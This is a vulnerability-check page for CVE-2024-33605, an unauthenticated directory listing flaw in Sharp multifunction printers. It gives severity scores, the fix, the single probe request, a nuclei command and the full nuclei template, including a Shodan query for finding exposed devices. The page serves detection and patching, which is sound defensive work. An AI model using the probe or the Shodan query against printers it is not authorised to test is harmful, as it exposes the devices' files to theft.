Sharp Multifunction Printers - Directory Listing

highseverity

7.5CVSS score

6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

It was observed that Sharp printers are vulnerable to an arbitrary directory listing without authentication. Any attacker can list any directory located in the printer and recover any file.

Impact

Unauthenticated attackers can list arbitrary directories and recover files from Sharp multifunction printers.

Fix

Apply all relevant security patches and product upgrades for Sharp multifunction printers.

How to confirm it

Send: GET {{BaseURL}}/installed_emanual_list.html
Positive when: contains "ServiceEmanualList" and "/installed_emanual_down.html" AND contains in header "Set-Cookie: MFPSESSIONID=" AND status 200

Run it with nuclei: nuclei -id CVE-2024-33605 -u <target>

The full check

id: CVE-2024-33605

info:
  name: Sharp Multifunction Printers - Directory Listing
  author: gy741
  severity: high
  description: |
    It was observed that Sharp printers are vulnerable to an arbitrary directory listing without authentication. Any attacker can list any directory located in the printer and recover any file.
  impact: |
    Unauthenticated attackers can list arbitrary directories and recover files from Sharp multifunction printers.
  remediation: |
    Apply all relevant security patches and product upgrades for Sharp multifunction printers.
  reference:
    - https://pierrekim.github.io/blog/2024-06-27-sharp-mfp-17-vulnerabilities.html#pre-auth-arbitrary-directory-listing
    - https://jvn.jp/en/vu/JVNVU93051062/index.html
    - https://global.sharp/products/copier/info/info_security_2024-05.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-33605
    cwe-id: CWE-22
    epss-score: 0.06047
    epss-percentile: 0.9343
    cpe: cpe:2.3:o:sharp:mx-3550v_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: "Set-Cookie: MFPSESSIONID="
    product: mx-3550v_firmware
    vendor: sharp
  tags: cve,cve2024,sharp,printer,traversal,intrusive,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/installed_emanual_list.html"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ServiceEmanualList'
          - '/installed_emanual_down.html'
        condition: and

      - type: word
        part: header
        words:
          - "Set-Cookie: MFPSESSIONID="

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from